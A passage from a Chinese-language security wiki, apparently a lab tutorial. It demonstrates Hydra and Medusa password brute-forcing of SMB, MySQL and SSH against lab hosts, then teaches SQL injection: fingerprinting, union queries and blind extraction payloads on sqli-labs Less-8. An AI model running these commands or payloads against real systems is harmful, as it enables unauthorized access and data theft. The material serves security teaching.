foundChecking for MYSQL client (libmysqlclient.so, math.h) ... ... NOT found, module Mysql will not support version > 4.xChecking for AFP (libafpclient.so) ... ... NOT found, module Apple Filing Protocol disabled - Apple sucks anywayChecking for NCP (libncp.so / nwcalls.h) ... ... NOT found, module NCP disabledChecking for SAP/R3 (librfc/saprfc.h) ... ... NOT found, module sapr3 disabledGet it from http://www.sap.com/solutions/netweaver/linux/eval/index.aspChecking for libssh (libssh/libssh.h) ... ... foundChecking for Oracle (libocci.so libclntsh.so / oci.h and libaio.so / liboci.a and oci.dll) ... ... NOT found, module Oracle disabledGet basic and sdk package from http://www.oracle.com/technetwork/database/features/instant-client/index.htmlChecking for Memcached (libmemcached.so, memcached.h) ... ... found Checking for Freerdp2 (libfreerdp2.so, freerdp/*.h, libwinpr2.so, winpr/*.h) ... ... found Checking for Mongodb (libmongoc-1.0.so, mongoc.h, libbson-1.0.so, bson.h) ... ... found Checking for smbclient (libsmbclient.so, libsmbclient.h) ... ... found Checking for GUI req's (pkg-config, gtk+-2.0) ... ... NOT found, optional anyway Checking for Android specialities ... ... strrchr() found ... RSA_generate_key() found Checking for secure compile option support in gcc ... Compiling... yes Linking... yes Hydra will be installed into .../bin of: /usr/local (change this by running ./configure --prefix=path) ┌──(root㉿kill3r)-[/opt/thc-hydra]└─# make┌──(root㉿kill3r)-[/opt/thc-hydra]└─# ./hydra -l administrator -P ../PasswordDic/1 WIN-O2ML05LMI0F smb2Hydra v9.6dev (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-08-15 16:51:10[WARNING] Workgroup was not specified, using "WORKGROUP"[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task[DATA] attacking smb2://WIN-O2ML05LMI0F:445/[WARNING] 192.168.64.223 might accept any credential[445][smb2] host: WIN-O2ML05LMI0F login: administrator password: 1QAZ@wsx1 of 1 target successfully completed, 1 valid password foundHydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-08-15 16:51:11 Medusa-美杜莎 Medusa工具是经过并行登陆暴力破解的办法,尝试获取远程考证效劳访问权限.Medusa是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare), NNTP, PcAnywhere, POP3, PostgreSQL, rexec, rlogin, rsh, SMB, SMTP (AUTH/VRFY), SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC的密码爆破工具. 优点: 模块化设计和支持,使其具有灵活性和扩展性. 稳定性好,适用于大规模并行测试. 良好的速度控制,避免对目标服务的不良影响. 缺点: 不支持RDP(Remote Desktop Protocol),相对于Hydra来说,支持的模块较少. WEB-Form支持存在缺陷,可能在某些场景下表现不如预期. 简单使用123# 用法:Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]Medusa [-h 主机| -H 文件] [-u 用户名| -U 文件] [-p 密码| -P 文件] [-C 文件] -M 模块[OPT] 123456789101112131415161718192021222324252627282930313233343536Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>medusa: 选项需要一个参数 -- 'h'CRITICAL: 未知错误,无法处理命令行选项.ALERT: 必须提供主机信息.语法: Medusa [-h 主机|-H 文件] [-u 用户名|-U 文件] [-p 密码|-P 文件] [-C 文件] -M 模块 [OPT] -h [TEXT] : 目标主机名或 IP 地址 -H [FILE] : 包含目标主机名或 IP 地址的文件 -u [TEXT] : 要测试的用户名 -U [FILE] : 包含要测试的用户名的文件 -p [TEXT] : 要测试的密码 -P [FILE] : 包含要测试的密码的文件 -C [FILE] : 包含组合条目的文件.有关更多信息,请参阅 README. -O [FILE] : 追加日志信息的文件 -e [n/s/ns] : 额外的密码检查([n] 无密码,[s] 密码 = 用户名) -M [TEXT] : 要执行的模块名称(不包括 .mod 扩展名) -m [TEXT] : 要传递给模块的参数.可多次传递不同的参数,并且所有参数都将发送给模块(例如 -m 参数1 -m 参数2,等等) -d : 显示所有已知模块 -n [NUM] : 用于非默认 TCP 端口号 -s : 启用 SSL -g [NUM] : 尝试连接 NUM 秒后放弃连接(默认为 3) -r [NUM] : 重试尝试之间的休眠时间(默认为 3 秒) -R [NUM] : 在放弃之前尝试 NUM 次.总尝试次数将为 NUM + 1. -c [NUM] : 以 usec 为单位等待时间,以验证套接字是否可用(默认为 500 usec). -t [NUM] : 同时测试的登录总数 -T [NUM] : 同时测试的主机总数 -L : 使用一个线程每个用户名并行化登录.默认情况下,处理完整个用户名后再进行下一步. -f : 在找到第一个有效的用户名/密码后停止扫描主机. -F : 在任何主机上找到第一个有效的用户名/密码后停止审核. -b : 抑制启动横幅 -q : 显示模块的用法信息 -v [NUM] : 详细级别 [0 - 6(更多)] -w [NUM] : 错误调试级别 [0 - 10(更多)] -V : 显示版本 -Z [TEXT] : 基于先前扫描的映射恢复扫描 模块详情12345678910111213141516171819202122232425/usr/lib/x86_64-linux-gnu/medusa/modules中的可用模块cvs.mod: 用于对CVS(Concurrent Versions System)版本控制系统进行身份验证和暴力破解.ftp.mod: 用于对FTP(File Transfer Protocol)服务器进行身份验证和暴力破解.http.mod: 用于对HTTP服务器进行身份验证和暴力破解.imap.mod: 用于对IMAP(Internet Message Access Protocol)邮箱服务器进行身份验证和暴力破解.mssql.mod: 用于对Microsoft SQL Server进行身份验证和暴力破解.mysql.mod: 用于对MySQL数据库进行身份验证和暴力破解.nntp.mod: 用于对NNTP(Network News Transfer Protocol)新闻服务器进行身份验证和暴力破解.pcanywhere.mod: 用于对pcAnywhere远程控制软件进行身份验证和暴力破解.pop3.mod: 用于对POP3(Post Office Protocol 3)邮件服务器进行身份验证和暴力破解.postgres.mod: 用于对PostgreSQL数据库进行身份验证和暴力破解.rexec.mod: 用于对rexec(remote execution)远程执行服务进行身份验证和暴力破解.rlogin.mod: 用于对rlogin(remote login)远程登录服务进行身份验证和暴力破解.rsh.mod: 用于对rsh(remote shell)远程shell服务进行身份验证和暴力破解.smbnt.mod: 用于对SMB(Server Message Block)和NTLM进行身份验证和暴力破解.smtp.mod: 用于对SMTP(Simple Mail Transfer Protocol)邮件服务器进行身份验证和暴力破解.smtp-vrfy.mod: 用于对SMTP服务器的用户验证进行暴力破解.snmp.mod: 用于对SNMP(Simple Network Management Protocol)进行身份验证和暴力破解.ssh.mod: 用于对SSH(Secure Shell)远程登录服务进行身份验证和暴力破解.svn.mod: 用于对Subversion版本控制系统进行身份验证和暴力破解.telnet.mod: 用于对Telnet远程登录服务进行身份验证和暴力破解.vmauthd.mod: 用于对VMware的vmauthd服务进行身份验证和暴力破解.vnc.mod: 用于对VNC(Virtual Network Computing)远程桌面服务进行身份验证和暴力破解.web-form.mod: 用于对基于Web表单的身份验证进行暴力破解.wrapper.mod: 用于使用外部脚本或程序进行自定义身份验证. 示例1234567891011121314151617181920212223242526272829303132333435363738394041# 查看可用模块┌──(root㉿kill3r)-[/home/kill3r]└─# medusa -d# 查看模块帮助┌──(root㉿kill3r)-[/home/kill3r]└─# medusa -M postgres -q# 猜解mysql数据库密码┌──(root㉿kill3r)-[/opt/PasswordDic/密码]└─# medusa -h 192.168.64.232 -u root -P /opt/PasswordDic/密码/top6000.txt -e ns -M mysql -O resultMedusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>ACCOUNT CHECK: [mysql] Host: 192.168.64.232 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: (1 of 6002 complete)ACCOUNT CHECK: [mysql] Host: 192.168.64.232 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: root (2 of 6002 complete)ACCOUNT FOUND: [mysql] Host: 192.168.64.232 User: root Password: root [SUCCESS]# 以下命令指示Medusa经过SMB对主机192.168.64.223上的单个用户(管理员)测试top6000.txt中列出的一切密码."-e ns"指示Medusa另外检查管理员帐户能否有一个空白密码或其密码设置为匹配其用户名(管理员)# 需要注意的是medusa不支持SMB V2协议medusa -h 192.168.64.223 -u administrator -P /opt/PasswordDic/密码/top6000.txt -e ns -M smbnt# 下面的命令行演示了如何执行Medusa的一些并行使用. 这里至少有20个主机和10个用户同时停止测试."-L"选项指示Medusa由用户并行.这意味着针对主机的10个线程中的每个线程都会检查独一用户.medusa -H hosts.txt -U /opt/PasswordDic/用户名和密码/账号/user9000.txt -P /opt/PasswordDic/密码/top6000.txt -T 20 -t 10 -L -F -M smbnt# 破解ssh密码┌──(root㉿kill3r)-[/opt/PasswordDic/密码]└─# medusa -M ssh -h 192.168.64.233 -u root -P /opt/PasswordDic/密码/top6000.txt -e ns -FMedusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>ACCOUNT CHECK: [ssh] Host: 192.168.64.233 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: (1 of 6002 complete)ACCOUNT CHECK: [ssh] Host: 192.168.64.233 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: root (2 of 6002 complete)ACCOUNT FOUND: [ssh] Host: 192.168.64.233 User: root Password: root [SUCCESS]# 同时我们也能够将用户改为文件,同时我们也将线程数调为5┌──(root㉿kill3r)-[/opt/PasswordDic/密码]└─# medusa -M ssh -U /opt/PasswordDic/用户名和密码/账号/user9000.txt -P /opt/PasswordDic/密码/top6000.txt -h 192.168.64.233 -t 5# 将输出结果保管在指定文件中mesuda -U /opt/PasswordDic/用户名和密码/账号/user9000.txt -P /opt/PasswordDic/密码/top6000.txt -n 40 -h 192.168.64.233 -M ssh -f -t 5 -O ssh.txt"},{"title":"三. SQL注入","path":"/wiki/VulnerabilityInsightDocs/三. SQL注入.html","content":"总字符数: 46.51K 代码: 21.03K, 文本: 12.83K 预计阅读时间: 2.45 小时 SQL注入什么是SQL​\tSQL:结构化查询语言(Structured Query Language),是一种专门用于管理关系型数据库系统的语言.通过SQL,我们可以进行查询、插入、更新和删除数据库中的数据,同时也可以用于创建和修改数据库表、视图、索引等数据库对象.SQL是全球范围内最为广泛使用的数据库语言之一,几乎所有的关系型数据库系统都支持SQL.什么是注入​\t注入是一种安全漏洞,特别是在B/S(浏览器/服务器)模式应用开发中,由于程序员水平参差不齐,很多应用程序存在安全隐患.攻击者可以通过提交包含恶意代码的输入,根据程序返回的结果来获取他们想要的数据/动作,这就是注入.什么是注入点​\t注入点是可以实施注入攻击的位置,通常是一个用于访问数据库的连接.根据注入点所使用的数据库账户的权限不同,攻击者可能会获得不同的操作权限.将SQL和注入结合SQL注入是一种攻击方式,攻击者通过在应用程序中注入恶意的SQL代码,从而访问和操作数据库中的数据.​\t通常利用应用程序没有正确验证和过滤输入数据的漏洞进行攻击.举个例子,如果一个网站的登录页面没有正确验证和过滤用户输入的数据,攻击者可以在用户名输入框中输入恶意的SQL代码,绕过身份验证,进而访问和操作数据库.例如获取用户的密码或删除数据.简单来说,攻击者会巧妙地在输入框、网址参数等地方输入一些恶意的SQL代码,就像是在投放一些”病毒”.这些恶意代码会混入到数据库查询的执行流程中,让服务器执行了攻击者设计的SQL语句,然后把攻击者想要的数据返回给他们.这样的攻击就好比是在偷偷操控数据库,获取一些不该看到的信息. SQL注入的危害SQL注入攻击可能导致以下危害: 数据泄露: 攻击者可以通过SQL注入攻击获取到数据库中的敏感信息,例如用户名、密码、信用卡号、个人身份信息等. 数据篡改: 攻击者可以修改数据库中的数据,例如篡改用户的账户信息、订单信息等. 数据删除: 攻击者可以通过SQL注入攻击删除数据库中的数据,例如删除用户的订单信息、商品信息等. SQL注入的位置SQL注入可以发生在多个位置,包括: 表单提交: 主要是POST请求,也包括GET请求. URL参数提交: 主要是GET请求参数. Cookie参数提交. HTTP请求头部的一些可修改的值: 比如Referer、User_Agents等. 一些边缘的输入点: 比如.mp3文件的一些文件信息等. SQL注入原理​\t在访问动态网页时,Web服务器向数据访问层发起SQL查询请求,如果权限验证通过就会执行SQL语句. ​\t虽然网站内部直接发送的SQL请求一般不会有危险,但在需要动态构造SQL语句的情况下,如果用户输入的数据被构造成恶意SQL代码而未经审查,就可能带来危险. ​\t攻击者利用这个漏洞可以绕过身份验证,访问和操作数据库中的数据. 注入点探测注入点探测可以通过以下方式进行: 手动方式: 手工构造SQL注入测试语句,进行注入点发现. 自动方式: 使用Web漏洞扫描工具,自动进行注入点发现. ​\t在探测注入点后,攻击者可以通过注入点获取所期望的数据,包括环境信息、数据库信息以及获取权限,甚至尝试获取操作系统权限. 信息获取通过注入点获取期望的数据有以下几个方面: 环境信息: 攻击者可以通过注入点获取有关数据库和操作系统的环境信息,包括数据库类型、数据库版本、操作系统版本以及用户信息等. 数据库信息: 攻击者可以通过注入点获取数据库的详细信息,包括数据库名称、数据库表、表字段以及字段内容.此过程中,攻击者可能还会尝试破解加密内容. 获取权限: 在一些极端情况下,攻击者可能试图通过注入点获取操作系统权限.这可以通过在数据库中执行一些操作,比如运行shell命令或上传木马程序,来尝试获取更高级别的系统权限. 探测数据指纹​\t探测数据库指纹的目的是通过观察错误消息或使用特殊的语句,确定应用程序后端所使用的数据库类型.以下是两种探测数据库指纹的方法 通过观察错误消息​\t通过观察应用程序返回的错误消息,我们可以获取关于数据库类型的指纹信息. ​\t不同的数据库在报错时会显示不同的错误信息,从而可以推断后端数据库的类型. MySQL错误示例: 1You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 Oracle错误示例: 1ORA-00933:SQL command not properly ended MS-SQL错误示例: 1Microsoft SQL Native Client error '80040e14' Unclosed quotation mark after the character string PostgreSQL错误示例: 1Query failed:ERROR:syntax error at or near 利用语句探测数据库​\t利用不同数据库连接字符串的语法差异,通过构造特殊的语句来进行识别. ​\t假设我们查询字符串为zhangsan 1234Oracle: 'zhang'||'san'MS-SQL: 'zhang'+'san'MySQL: 'zhang' 'san'PostgreSQL:'zhang' || 'san' ​\t在这个示例中,我们可以通过提交特殊值进行测试,以生成zhangsan字符串,然后观察查询结果.如果查询结果相同,则可以确定是哪一种数据库. ​\t如果注入数字数据,还可以使用下面的攻击语句来识别字符串.每个语句在其对应的数据库中求值结果为0,在其他数据库中则会报错: 123Oracle: BITAND(1,1)-BITAND(1,1)MS-SQL: @@PACK_RECEIVED-@@PACK_RECEIVEDMySQL: CONNECTION_ID()-CONNECTION_ID() ​\t通过这些方法,可以尝试识别目标应用程序后端所使用的数据库类型,为进一步的攻击做准备. MySQL注入MySQL常规操作基础相关 数据库操作: show databases;:显示所有数据库的列表. create database test;:创建一个名为 “test” 的数据库. use 库名;:切换到指定的数据库. drop database 库名;:删除指定的数据库. 表操作: show tables;:显示当前数据库中的所有表. create table 表名(列名1 数据类型1, 列名2 数据类型2);:创建一张表,定义表的列名和数据类型. drop table 表名;:删除指定的表. 数据操作: insert into 表名(列名1, 列名2, 列名3,...) values(数据1, 数据2, 数据3,...);:向表中插入新的数据. update 表名 set 列名1=值1, 列名2=值2,... [where 条件];:更新表中的数据,可以带条件,不加条件则修改所有记录. delete from 表名 where 条件;:删除表中符合条件的数据. 查询操作: select 字段名1, 字段名2 from 表名;:查询指定表中的特定字段数据. select * from user where id=1 and name='张三';:查询满足指定条件的记录,要求ID为1且姓名为’张三’. SELECT 字段名1, 字段名2 FROM 表名 LIMIT 数量;:这里,”数量”代表你想要返回的行数.例如,如果你想要返回前10行数据:limit 1,10 常用常量12345678-- 常用的数据库常量Select @@version_compile_os; -- 操作系统Select @@tmpdir; -- 查看临时目录Select @@datadir; -- 数据存放的位置Select @@basedir; -- 数据库服务所在位置Select user(); -- 查看当前用户名Select database(); -- 数据库名Select version(); -- 获取当前版本号 常用函数1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283GROUP_CONCAT() -- 说明:列值连接为一个字符串序 -- 用法:GROUP_CONCAT(column_name SEPARATOR 'separator') -- column_name:需要拼接的列名 -- separator:分隔符,默认为逗号 -- 例子:将users表中所有username列的值拼接成一个由逗号分隔的字符串 SELECT GROUP_CONCAT(username SEPARATOR ', ') FROM users;CHAR() -- 说明:根据ASCII码值返回对应的字符. -- 用法:CHAR(ascii_code1 [, ascii_code2, ...]) -- ascii_code:ASCII码值 -- 例子:返回ASCII码为65的字符,即'A' SELECT CHAR(65);ASCII() -- 说明:返回字符的ASCII码值. -- 用法:ASCII(character) -- character:单个字符 -- 例子:返回字符'A'的ASCII码值 SELECT ASCII('A');MID()和SUBSTR() -- 说明:从字符串中提取子字符串. -- 用法:MID(string, start, length) / SUBSTR(string, start, length) -- string:原始字符串 -- start:起始位置(1表示字符串的第一个字符) -- length:要提取的字符数 -- 例子:从字符串'Hello World'中提取从第2个字符开始的5个字符 SELECT MID('Hello World', 2, 5), SUBSTR('Hello World', 2, 5);LENGTH() -- 说明:返回字符串的长度. -- 用法:LENGTH(string) -- string:字符串 -- 例子:返回字符串'Hello World'的长度 SELECT LENGTH('Hello World');LEFT()和RIGHT() -- 说明:分别从字符串的左侧和右侧提取指定数量的字符. -- 用法:LEFT(string, length) / RIGHT(string, length) -- string:被截取的字符串 -- length:截取的长度 -- 例子:从字符串'Hello World'的左侧截取5个字符,以及从右侧截取5个字符 SELECT LEFT('Hello World', 5), RIGHT('Hello World', 5);LIMIT m,n -- 说明:限制SQL查询结果的数量. -- 用法:LIMIT m, n -- m:结果集的起始位置(从0开始) -- n:返回结果的数量 -- 例子:从users表中获取从第1个开始的3个用户数据 SELECT * FROM users LIMIT 0, 3;COUNT() -- 说明:聚合函数,计算表中行的数量. -- 用法:COUNT(column_name) -- column_name:列名(*:表示所有列) -- 例子:计算users表中的总用户数 SELECT COUNT(*) FROM users; RAND() -- 说明:生成一个0到1之间的随机数. -- 用法:RAND() -- 无参数 -- 例子:生成一个随机数 SELECT RAND();FLOOR() -- 说明:返回小于或等于给定数值的最大整数. -- 用法:FLOOR(value) -- value:数值 -- 例子:返回3.14的向下取整结果 SELECT FLOOR(3.14);SLEEP() -- 说明:使数据库延迟一段时间(以秒计). -- 用法:SLEEP(seconds) -- seconds:延迟的时间,以秒为单位 -- 例子:数据库延迟5秒 SELECT SLEEP(5); MySQL默认数据库 information_schema: 这是一个特殊的数据库,存储有关 MySQL 服务器所维护的所有其他数据库的信息.在这个数据库中,有一些关键的表,如: SCHEMATA:包含有关所有数据库的信息. TABLES:包含有关所有表的信息. COLUMNS:包含有关所有列的信息. 这些表存储了关于数据库结构、表和列的元数据. mySQL: 这是 MySQL 管理用户、权限配置以及关键字等的数据库.在这个数据库中,有一些关键的表,如: user:包含用户账户和权限信息. db:保存了每个用户对每个数据库的权限. tables_priv:存储有关表级别的权限. 这个数据库负责维护 MySQL 的用户身份验证和授权信息. performance_schema: 这个数据库用于收集有关数据库服务器性能参数的信息.它包含有关服务器性能的多个表,可用于监视和分析 MySQL 服务器的性能. 对于MySQL-5.0以下的版本,是没有information_schema数据库的.这个数据库在MySQL-5.0及更高版本中引入,提供更方便的元数据访问和查询方式. MySQL注入的类型SQL注入的分类基本上都是根据注入的方式进行分类,大概分为以下4类 联合注入(Union 注入) 这种注入利用 SQL 中的 UNION 操作符,将两个查询的结果合并在一起.攻击者可以通过构造恶意的 UNION 语句将额外的数据添加到查询结果中. 布尔注入(布尔盲注) 布尔注入是一种通过在 SQL 查询中注入布尔条件语句来判断条件真假的攻击.攻击者根据返回页面的内容判断条件是否为真,从而获取目标数据库的信息. 延时注入(时间盲注) 在延时注入中,攻击者注入一些导致数据库查询延时的语句,然后通过观察页面返回的时间来判断条件是否为真.这种注入方式通常难以被察觉. 报错注入 报错注入是一种通过注入导致数据库报错,并从错误信息中获取有关数据库结构和内容的攻击方式.攻击者可以利用数据库返回的错误信息来推断数据库的结构和执行状态. 通常,SQL 注入可以分为数字型和字符型两种基本类型. 数字型注入: 攻击者尝试在查询条件中注入数字值,通过条件的真假来获取信息. 例如:1 AND 1=1 和 1 AND 1=2. 字符型注入: 攻击者尝试在查询条件中注入字符串值,同样通过条件的真假来获取信息. 例如:1' AND '1'='1' 和 1' AND '1'='2'. 也可以使用双引号,例如:1" AND "1"="1" 和 1" AND "1"="2". 判断注入类型数值型在输入参数 x 为整型时,典型的 SQL 查询语句如下: 1SELECT * FROM users WHERE id = $id; 针对这种情况,可以使用 and 1=1 和 and 1=2 来进行注入判断. 网址:www.xxxx.com/ccc.php?id=x 数值型判断我们可以输入以下内容:www.xxxx.com/ccc.php?id=x and 1=1,页面正常显示,继续下一步.www.xxxx.com/ccc.php?id=x and 1=2,页面出现错误,说明存在数字型注入.原因当输入 and 1=1 时,后台执行的 SQL 语句是 SELECT * FROM users WHERE id = x AND 1=1;,没有语法错误且逻辑判断为正确,返回正常.当输入 and 1=2 时,后台执行的 SQL 语句是 SELECT * FROM users WHERE id = x AND 1=2;,没有语法错误但逻辑判断为假,返回错误.假设为字符型输入的语句可能如下:12SELECT * FROM users WHERE id ='1 and 1=1';SELECT * FROM users WHERE id ='1 and 1=2';在字符型注入中,查询语句将 and 语句全部转换成字符串,并没有进行逻辑判断,因此不会出现以上的结果.这个等式是不成立的. 字符型当输入的参数 x 为字符型时,典型的 SQL 查询语句如下: 1SELECT * FROM users WHERE id ='$id'; 对于这种情况,可以使用 and '1'='1 和 and '1'='2 来进行测试. 网址:www.xxx.com/ccc.php?id=1 字符型判断我们可以输入以下内容:www.xxx.com/ccc.php?id=1' and '1'='1,页面正常显示,继续下一步.www.xxx.com/ccc.php?id=1' and '1'='2,页面报错,说明存在字符型注入.原因当输入 and '1'='1 时,后台执行的语句是 SELECT * FROM users WHERE id='x' and '1'='1';,语法正确,逻辑判断正确,返回正确.当输入 and '1'='2 时,后台执行的语句是 SELECT * FROM users WHERE id='x' and '1'='2';,语法正确但逻辑判断错误,返回错误.假设为数值型输入的语句可能如下:12SELECT * FROM users WHERE id = 1' and '1'='1;SELECT * FROM users WHERE id = 1' and '1'='2;在数值型注入中,攻击者不会使用引号,因为它们会致使查询语句产生语法错误,而是直接插入或修改查询中的数值.12mySQL> SELECT * FROM users WHERE id = 1' and '1'='1;ERROR 1064 (42000):You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' and '1'='1' at line 1 字符型和数字型最大的区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合.在字符型注入中,通过构造带有单引号的语句,攻击者试图影响SQL查询的逻辑判断. Union注入如何判断列数​\t在SQL注入中,order by测试列数的原理是利用数据库中order by语句对结果集进行排序的规则. ​\torder by用于指定排序的列,如果没有指定排序方式,默认按升序排列. ​\t攻击者可以构造带有order by语句的SQL语句,通过观察返回结果的变化来判断表中的列数. 举例来说,可以使用以下语句进行测试: 1SELECT * FROM table_name ORDER BY 1 这将按照第一列的升序排列结果. 结果正常返回,说明表中至少有一列. 结果异常返回,说明表中不存在第一列. 1SELECT * FROM table_name ORDER BY 2 这将按照第二列的升序排列结果. 结果正常返回,说明表中至少有两列. 结果异常返回,说明表中不存在第二列. ​\t以此类推,通过改变order by语句逐渐确定表中的列数. ​\t当找到所有列后,就可以构造合法的SQL注入语句,获取所需的数据. union联合前后语句的列数必须相同.并且还要保证数据类型相似 ​\t例如,数字和字符的数据类型就不是相似的. ​\t如果表中的列有不同的数据类型,黑客在确定列数后还会进行数据类型的判断,以确保构造的注入语句是合法的. 在SQL中,要合并两个表格的内容通常会使用UNION操作符来连接两个SELECT语句的结果.然而,UNION操作符也存在一种被称为UNION注入的骚操作. 注入流程 判断注入漏洞 ' 或者 " 或者 ):通过输入这些字符来尝试触发 SQL 注入漏洞. 1 and 1=1 1 and 1=2 1' and '1'='1 1' and '1'='2 1" and "1"="1 1" and "1"="2 注释多余符号 -- - 或者 #:使用注释符号 -- 来注释掉 SQL 语句中的多余部分,使其不产生影响. 判断多少列 ORDER BY 20:通过逐渐增加 ORDER BY 后的数字来判断查询结果的列数. Union 联合查询 UNION SELECT 1,2,3:使用 UNION 进行联合查询,判断字符列在第几列. 报出相关信息 UNION SELECT 1,version(),3:在字符列上报出数据库版本信息. 指定数据库、表、列 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database():指定数据库,爆破数据库表名. UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_schema=database() AND table_name="表名":指定表名,爆破列名. 查询数据信息 UNION SELECT 1,GROUP_CONCAT(列名,0x5c,列名),3 FROM security.users:在字符列上进行查询数据信息. 为什么会出现盲注这个东西?错误信息未显示: 在一些情况下,应用程序可能配置为不向用户显示详细的错误信息,这使得攻击者无法通过错误信息直接获取数据库信息.这时,攻击者可能会尝试使用盲注来推断信息.输出被过滤: 有些应用程序可能对输出进行了过滤,防止攻击者通过错误信息直接获取敏感信息.在这种情况下,攻击者可能会使用盲注来绕过这些过滤.获取数据长度: 在某些情况下,攻击者可能无法直接获取数据库中的数据,但可以通过盲注来逐步获取数据的长度,从而为后续攻击打下基础.版本特性限制: 在MySQL 5.0版本以下,数据库中缺少information_schema这个数据库,它通常用于存储数据库元数据,使得攻击者无法通过标准的SQL查询来获取数据库结构信息.因此,攻击者可能会转而使用盲注技术来推测数据库的结构和内容. 盲注 ​\t盲注(Blind SQL Injection)是一种 SQL 注入攻击的变体,其中攻击者并不能直接看到数据库返回的信息,而是通过观察应用程序对用户输入的不同响应来推断数据库中的数据. ​\t盲注之所以存在,是因为在某些情况下,攻击者无法直接获取到数据库返回的数据,但仍然能够利用应用程序的响应来进行信息收集和攻击. 盲注通常分为布尔盲注和时间盲注两种类型. 布尔盲注: 攻击者通过构造逻辑条件,观察应用程序的不同响应,来判断条件的真假. 时间盲注: 攻击者通过构造导致延时的条件,观察应用程序的响应时间来判断条件的真假. 布尔盲注 ​\t布尔盲注(Boolean-Based Blind SQL Injection)是一种SQL注入攻击的形式,与普通SQL注入不同之处在于,攻击者无法直接获取数据库返回的数据,而是通过观察应用程序的行为,根据不同的条件判断结果是否为真来逐步推断数据库中的信息. 以下是布尔盲注的基本原理和测试方式: 构造布尔条件: 攻击者通过构造SQL语句中的布尔条件,使得在条件成立时应用程序返回正常响应,而在条件不成立时返回异常或错误响应. 示例1SELECT * FROM users WHERE username='admin' AND 1=1; 上述语句中,条件1=1永远成立,应用程序将正常返回. 观察应用程序行为: 攻击者通过观察应用程序对SQL查询的响应,判断条件是否成立. 应用程序返回正常响应,说明条件成立. 应用程序返回异常/错误响应,说明条件不成立. 逐步推断条件: 攻击者通过逐步调整条件,通过不断观察应用程序的响应来推断数据库中的信息. 可以通过逐渐改变条件中的值或关系运算符来确定数据库中的某个字符是否符合条件. 使用二分法: 为了提高效率,攻击者通常使用二分法逼近条件,从而更快地确定字符是否符合条件. 示例12-- 通过判断数据库名的第一个字符的ASCII码是否等于115来构造布尔条件,逐步推断数据库名.SELECT * FROM users WHERE username='admin' AND ASCII(SUBSTRING(database(), 1, 1)) =115; Less-8 盲注用户名12345678910111213141516171819' and substring(user(),1,1)='r' -- -' and substring(user(),2,1)='o' -- -' and substring(user(),3,1)='o' -- -' and substring(user(),4,1)='t' -- -' and substring(user(),5,1)='@' -- -' and substring(user(),6,1)='l' -- -' and substring(user(),7,1)='o' -- -' and substring(user(),8,1)='c' -- -' and substring(user(),9,1)='a' -- -' and substring(user(),10,1)='l' -- -' and substring(user(),11,1)='h' -- -' and substring(user(),12,1)='o' -- -' and substring(user(),13,1)='s' -- -' and substring(user(),14,1)='t' -- --- 最终得到,用户名为:root@localhost-- 手工盲注是非常耗时间的,那么在之前我们学过了暴力破解.那么用什么工具可以用来盲注?-- 使用盲注的时候在没有字符的字典时,如何爆破? 盲注库名如果想猜测当前数据库,其原理也和上文一样. 查询有几个库 1' and (select count(schema_name) from information_schema.schemata) =6 -- - 查询第一个库名长度 1' and length((select schema_name from information_schema.schemata limit 0,1))=18 -- - 查询第一个库名 123456789101112131415161718192021222324251' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105 -- -'-- 此行无效1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),2,1))=110 -- -'-- 此行无效payload1 payload2 字符串1 105 i2 110 n3 102 f4 111 o5 114 r6 109 m 7 97 a8 116 t9 105 i10 111 o11 110 n 12 95 _13 115 s14 99 c15 104 h16 101 e17 109 m18 97 a 盲注表名1' and ASCII(substring((select table_name from information_schema.TABLES WHERE table_schema=database() limit 0,1),1,1))=101 -- - 正确后会返回一个IP 12-- 获取表名的第一个字母的ASCII码' and ASCII(substring((select table_name from information_schema.TABLES WHERE table_schema=database() limit 0,1),1,1))=101 -- - 构造Payload,Burp抓包 发送到爆破模块,选择交叉爆破,设置变量 payload1数字模块,一般1-30就行一般表名的长度不会超过30 payload2数字模块,这里是ascii码:0-127即可,因为有些数据库可能有特殊字符 发起fuzz 按照报文长度排序,组合信息手动将payload2按照paylaod1的顺序排列起来如下 12345678payload1 payload2 字母1 108 l2 105 i3 115 s4 116 t5 95 _6 105 i7 112 p ​ ​ 盲注列名 判断users表中有多少列 1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3 -- - 判断每一列的列名长度 1234567' and length((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 0,1))=2 -- -'-- 此行无效' and length((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 1,1))=8 -- -'-- 此行无效' and length((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 2,1))=8 -- - 判断第二列列名 123456789101112' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 1,1),1,1))=106 -- -'-- 此行无效payload1 payload2 字符串1 117 u2 115 s3 101 e4 114 r5 110 n6 97 a7 109 m8 101 e ​ 盲注数据1234567891011121314151617-- 判断列中有几条记录' and (select count(*) from security.users)=13 -- -' -- 此行无效-- 